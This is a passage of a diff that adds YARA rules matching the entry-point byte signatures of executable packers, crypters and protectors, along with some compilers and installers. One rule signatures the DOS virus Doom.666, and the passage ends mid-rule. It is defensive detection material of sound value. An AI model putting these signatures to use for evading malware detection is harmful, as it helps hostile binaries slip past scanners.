+		$0 = {03 05 00 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_packer_06_
+{
+	meta:
+		description = "Unknown packer (06)"
+	strings:
+		$0 = {FA B8 ?? ?? BE ?? ?? 33 F0 0E 17 2E ?? ?? ?? BA ?? ?? 87 E6 5B 33 DC}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_Protector_20__SetiSoft_
+{
+	meta:
+		description = "Private EXE Protector 2.0 -> SetiSoft"
+	strings:
+		$0 = {89 ?? ?? 38 00 00 00 8B ?? 00 00 00 00 81 ?? ?? ?? ?? ?? 89 ?? 00 00 00 00 81 ?? 04 00 00 00 81 ?? 04 00 00 00 81 ?? 00 00 00 00 0F 85 D6 FF FF FF}
+		$1 = {89 ?? ?? 38 00 00 00 8B ?? 00 00 00 00 81 ?? ?? ?? ?? ?? 89 ?? 00 00 00 00 81 ?? 04 00 00 00 81 ?? 04 00 00 00 81 ?? 00 00 00 00 0F 85 D6 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XComp_V097_LZRW__JoKo_
+{
+	meta:
+		description = "XComp V0.97 (LZRW) -> JoKo"
+	strings:
+		$0 = {68 ?? ?? ?? 00 9C 60 E8 9B 02 00 00 34 ?? ?? 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 34 ?? ?? 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector_V112_Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.12-> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 C5 FA 81 ED ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v276__WebToolMaster_
+{
+	meta:
+		description = "EXE Stealth v2.76 -> WebToolMaster"
+	strings:
+		$0 = {EB 65 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 59 4F 55 52 20 41 44 20 48 45 52 45 21 50 69 52 41 43 59 20 69 53 20 41}
+		$1 = {EB 65 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 59 4F 55 52 20 41 44 20 48 45 52 45 21 50 69 52 41 43 59 20 69 53 20 41}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PPCPROTECT_V11X__Alexey_Gorchakov_
+{
+	meta:
+		description = "PPC-PROTECT V1.1X -> Alexey Gorchakov"
+	strings:
+		$0 = {FF 5F 2D E9 20 00 9F E5 00 00 90 E5 18 00 8F E5 18 00 9F E5 00 00 90 E5 10 00 8F E5 01 00 A0 E3 00 00 00 EB 02 00 00 EA 04 F0 1F E5}
+	condition:
+		$0 at entrypoint
+}
+rule _COP_v10_c_1988_
+{
+	meta:
+		description = "COP v1.0 (c) 1988"
+	strings:
+		$0 = {BF ?? ?? BE ?? ?? B9 ?? ?? AC 32 ?? ?? ?? AA E2 ?? 8B ?? ?? ?? EB ?? 90}
+		$1 = {BF ?? ?? BE ?? ?? B9 ?? ?? AC 32 ?? ?? ?? AA E2 ?? 8B ?? ?? ?? EB ?? 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _y0das_Crypter_v12_
+{
+	meta:
+		description = "y0da's Crypter v1.2"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Installer_v405_
+{
+	meta:
+		description = "Inno Installer v4.0.5"
+	strings:
+		$0 = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 55 68 ?? ?? ?? ?? 64 FF 32 64 89 22}
+	condition:
+		$0 at entrypoint
+}
+rule _TXT2COM_ReadAMatic_v10_
+{
+	meta:
+		description = "TXT2COM (Read-A-Matic v1.0)"
+	strings:
+		$0 = {B8 ?? ?? 8E D8 8C 06 ?? ?? FA 8E D0 BC ?? ?? FB B4 ?? CD 21 A3 ?? ?? 06 50 B4 34 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Cruncher_v10_
+{
+	meta:
+		description = "Cruncher v1.0"
+	strings:
+		$0 = {2E ?? ?? ?? ?? 2E ?? ?? ?? B4 30 CD 21 3C 03 73 ?? BB ?? ?? 8E DB 8D ?? ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+		$1 = {2E ?? ?? ?? ?? 2E ?? ?? ?? B4 30 CD 21 3C 03 73 ?? BB ?? ?? 8E DB 8D ?? ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Fish_Pe_Packer_V102__hellfish__20090120_
+{
+	meta:
+		description = "Fish Pe Packer V1.02 -> hellfish * 20090120"
+	strings:
+		$0 = {60 E8 07 00 00 00 61 68 ?? ?? ?? ?? C3 5E 56 8B 56 02 ?? ?? ?? AD 01 D0 5B 36 89 43 02 66 3E C7 43 FA EB 05 53 AD 01 D0 89 C3 C7 43 FC 00 10 00 00 C7 43 F8 00 80 00 00 89 53 F4 AD 01 D0 89 43 F0 AD 01 D0 89 43 10 52 6A 04 FF 73 FC AD 50 6A 00 3E FF 53 08 89 C5 6A 04 FF 73 FC AD 50 6A 00 3E FF 53 08 89 C1 5A 83 EE 08 AD 50 55 AD AD 50 AD 01 D0 50 6A 02 6A 00 6A ?? 51 89 CF FF 53 10 83 C4 20 FF 73 F8 6A 00 57 FF 53 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Doom666_
+{
+	meta:
+		description = "Vx: Doom.666"
+	strings:
+		$0 = {E8 ?? ?? ?? 5E 83 EE ?? B8 CF 7B CD 21 3D CF 7B ?? ?? 0E 1F 81 C6 ?? ?? BF ?? ?? B9 ?? ?? FC F3 A4 06 1F 06 B8 ?? ?? 50 CB B4 48 BB 2C 00 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Free_Pascal_v09910_
+{
+	meta:
+		description = "Free Pascal v0.99.10"
+	strings:
+		$0 = {E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+		$1 = {EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 46 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_V22__Alexey_Solodovnikov__StarForce____2009408_
+{
+	meta:
+		description = "ASPack V2.2 -> Alexey Solodovnikov & StarForce   * 2009408"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD ?? ?? ?? ?? ?? ?? 83 BD 7D 04 00 00 00 89 9D 7D 04 00 00 0F 85 C0 03 00 00 8D 85 89 04 00 00 50 FF 95 09 0F 00 00 89 85 81 04 00 00 8B F0 8D 7D 51 57 56 FF 95 05 0F 00 00 AB B0 00 AE 75 FD 38 07 75 EE 8D 45 7A FF E0 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 56 69 72 74 75 61 6C 46 72 65 65 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 8B 9D 8D 05 00 00 0B DB 74 0A 8B 03 87 85 91 05 00 00 89 03 8D B5 BD 05 00 00 83 3E 00 0F 84 15 01 00 00 6A 04 68 00 10 00 00 68 00 18 00 00 6A 00 FF 55 51 89 85 53 01 00 00 8B 46 04 05 0E 01 00 00 6A 04 68 00 10 00 00 50 6A 00 FF 55 51 89 85 4F 01 00 00 56 8B 1E 03 9D 7D 04 00 00 FF B5 53 01 00 00 FF 76 04 50 53 E8 2D 05 00 00 B3 00 80 FB 00 75 5E FE 85 E9 00 00 00 8B 3E 03 BD 7D 04 00 00 FF 37 C6 07 C3 FF D7 8F 07 50 51 56 53 8B C8 83 E9 06 8B B5 4F 01 00 00 33 DB 0B C9 74 2E 78 2C AC 3C E8 74 0A EB 00 3C E9 74 04 43 49 EB EB 8B 06 EB 00 ?? ?? ?? 75 F3 24 00 C1 C0 18 2B C3 89 06 83 C3 05 83 C6 04 83 E9 05 EB CE 5B 5E 59 58 EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _EPW_130_COM_
+{
+	meta:
+		description = "EPW 1.30 [COM]"
+	strings:
+		$0 = {06 57 1E 56 55 52 51 53 50 BB 03 00 81 C3 00 01 2E 8B 07 8C CB 03 C3 83 C0 10 50 B8 D1 00 50 CB 8C C0 83 C0 10 8E C0 83 C0 05 8E D8 2E 8B 0E 00 00 2B F6 2B FF FC F3 A4 0E 1F BA 1E 00 B4 09 CD 21 BB 0E 00 B9 10 00 B4 00 CD 16 3C 0D 74 09 3C}
+	condition:
+		$0 at entrypoint
+}
+rule _Anticrack_Software_Protector_v109_ACProtect_
+{
+	meta:
+		description = "Anticrack Software Protector v1.09 (ACProtect)"
+	strings:
+		$0 = {60 ?? ?? ?? ?? ?? 90 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 DD}
+		$1 = {60 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$2 = {60 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$3 = {60 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 04 24 06 C3 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 66}
+		$4 = {60 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 04 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 78 03 79 01 ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+		$5 = {60 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 4B 0C 41 00 81 E9 01 E3 40 00 8B D5 81 C2 01 E3 40 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 9C 22 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 CC CC CC CC AC}
+		$6 = {60 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01}
+		$7 = {60 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7 at entrypoint
+}
+rule _Fish_Pe_Packer_V104V10X__hellfish__20090120_
+{
+	meta:
+		description = "Fish Pe Packer V1.04-V1.0X -> hellfish * 20090120"
+	strings:
+		$0 = {60 B8 ?? ?? ?? ?? FF D0 5A 00 00 ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 57 56 53 55 89 E5 8B 45 20 01 45 24 50 FC 8B 75 18 01 75 1C 56 8B 75 14 AD 92 52 8A 4E FE 83 C8 FF D3 E0 F7 D0 50 88 F1 83 C8 FF D3 E0 F7 D0 50 00 D1 89 F7 83 EC 0C 29 C0 40 50 50 50 50 50 57 AD 89 C1 AD 29 F6 56 83 CB FF F3 AB 6A 05 59 E8 9C 02 00 00 E2 F9 8D 36 8D 3F 8B 7D FC 8B 45 F0 2B 7D 20 21 F8 89 45 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _ARM_Protector_01_by_SMoKE_
+{
+	meta:
+		description = "ARM Protector 0.1 by SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _V10__tjszlqq__20090823_
+{
+	meta:
+		description = "¼×¿ÇÊÔÓðæ.V1.0 -> tjszlqq * 20090823"
+	strings:
+		$0 = {E9 15 AC 00 00 00 00 E9 ED 3A 01 00 00 00 E9 A1 9A 01 00 00 00 E9 CD 76 02 00 00 00 E9 8D FA 01 00 00 00 E9 CB 04 00 00 00 00 E9 A4 9F 00 00 00 00 66 B8 00 02 66 85 C0 0F 85 F0 5E 04 00 00 00 00 00 00 00 00 00 66 B8 00 00 E9 73 8F 02 00 00 00 00 00 00 E9 1A 57 03 00 00 00 E9 35 4E 04 00 00 00 E9 74 9D 00 00 00 00 E9 44 4D 02 00 00 00 E9 9B F2 03 00 00 00 E9 8B 63 03 00 00 00 E9 06 95 01 00 00 00 E9 77 7D 03 00 00 00 B0 02 E9 74 BB 02 00 00 00 00 00 00 00 00 E9 3C E5 03 00 00 00 E9 F4 83 02 00 00 00 E9 9D 9F 00 00 00 00 E9 72 CB 00 00 00 00 E9 88 C2 00 00 00 00 E9 42 3B 04 00 00 00 E9 F4 4C 00 00 00 00 E9 B8 28 04 00 00 00 E9 0F 4F 00 00 00 00 66 83 E8 00 E9 02 F4 00 00 00 00 00 00 00 84 C0 E9 B9 90 01 00 00 00 00 00 00 00 00 E9 78 C5 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEArmor_V046__hying_
+{
+	meta:
+		description = "PE-Armor V0.46 -> hying"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt32_v102_
+{
+	meta:
+		description = "PE Crypt32 v1.02"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 ?? ?? EB ?? 52 4E 44 21}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_VOB_ProtectCD__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake VOB ProtectCD) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 5F 81 EF 00 00 00 00 BE 00 00 40 00 8B 87 00 00 00 00 03 C6 57 56 8C A7 00 00 00 00 FF 10 89 87 00 00 00}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 5F 81 EF 00 00 00 00 BE 00 00 40 00 8B 87 00 00 00 00 03 C6 57 56 8C A7 00 00 00 00 FF 10 89 87 00 00 00 00 5E 5F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V118_Dll_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 Dll (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _hyings_PEArmor_V076__hying_
+{
+	meta:
+		description = "hying's PEArmor V0.76 -> hying"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A ?? E8 A3 00 00 00}
+		$1 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A ?? E8 A3 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _hyings_PEArmor__hyingCCG_
+{
+	meta:
+		description = "hying's PE-Armor -> hying[CCG"
+	strings:
+		$0 = {E8 AA 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _USERNAME_v300_
+{
+	meta:
+		description = "USERNAME v3.00"
+	strings:
+		$0 = {FB 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 8C C8 2B C1 8B C8 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 33 C0 8E D8 06 0E 07 FC 33 F6}
+		$1 = {FB 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 8C C8 2B C1 8B C8 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 33 C0 8E D8 06 0E 07 FC 33 F6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECrypt_10_
+{
+	meta:
+		description = "PE-Crypt 1.0"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB 03 FF CD 20 56 57 55 89 A3 10 20 00 00 8B EB 80 BB BF 1F 00 00 01 0F 84 AB 17 00 00 C6 83 BF 1F 00 00 01 80 BB E6 1F 00 00 00 75 26 8B 83 CC 1F 00 00 53 2B D8 EB 02 CD 20 EB 03 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _TheHypers_protector__TheHyper_h_
+{
+	meta:
+		description = "TheHyper's protector -> TheHyper (h)"
+	strings:
+		$0 = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? 02 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8 0C 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 53 8B 06 FF 10 89 47 04 E8 0F 00 00 00 47 65 74 50 72 6F 63 65 73 73 48 65 61 70 00 53 8B 06 FF 10 89 47 08 E8 0A 00 00 00 48 65 61 70 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 47 0C E8 09 00 00 00 48 65 61 70 46 72 65 65 00 53 8B 06 FF 10 89 47 10 57 FF 76 08 FF 76 0C FF 56 10 8B E5 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _LOCK98_V10028__keenvim_
+{
+	meta:
+		description = "LOCK98 V1.00.28 -> keenvim"
+	strings:
+		$0 = {55 E8 00 00 00 00 5D 81 ?? ?? ?? ?? ?? EB 05 E9 ?? ?? ?? ?? EB 08}
+		$1 = {55 E8 00 00 00 00 5D 81 ?? ?? ?? ?? ?? EB 05 E9 ?? ?? ?? ?? EB 08}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WATCOM_CCpp_32_RunTime_System_19881995__Open_Watcom_
+{
+	meta:
+		description = "WATCOM C/C++ 32 Run-Time System 1988-1995 -> Open Watcom"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54}
+	condition:
+		$0 at entrypoint
+}
+rule _HackStop_098_COM_
+{
+	meta:
+		description = "HackStop 0.98 [COM]"
+	strings:
+		$0 = {50 B4 30 CD 21 86 E0 3D 00 03 73 02 CD 20 EB 02 4C 8F 50 55 52 8C D2 FA 50 B8 EB 04 58 EB FB 9A 8C C8 8E D0 EB 02 62 8F 8B EC BC 03 00 2E 85 06 D1 F6 B8 EB 03 EB FC EA 83 FC 03 74 02 FA F4 2E 85 06 E3 F6 B8 EB 03 EB FC EA 33 C0 FA 8E D0 BC}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v05_
+{
+	meta:
+		description = "Krypton v0.5"
+	strings:
+		$0 = {55 50 E8 ?? ?? ?? ?? 5D EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01}
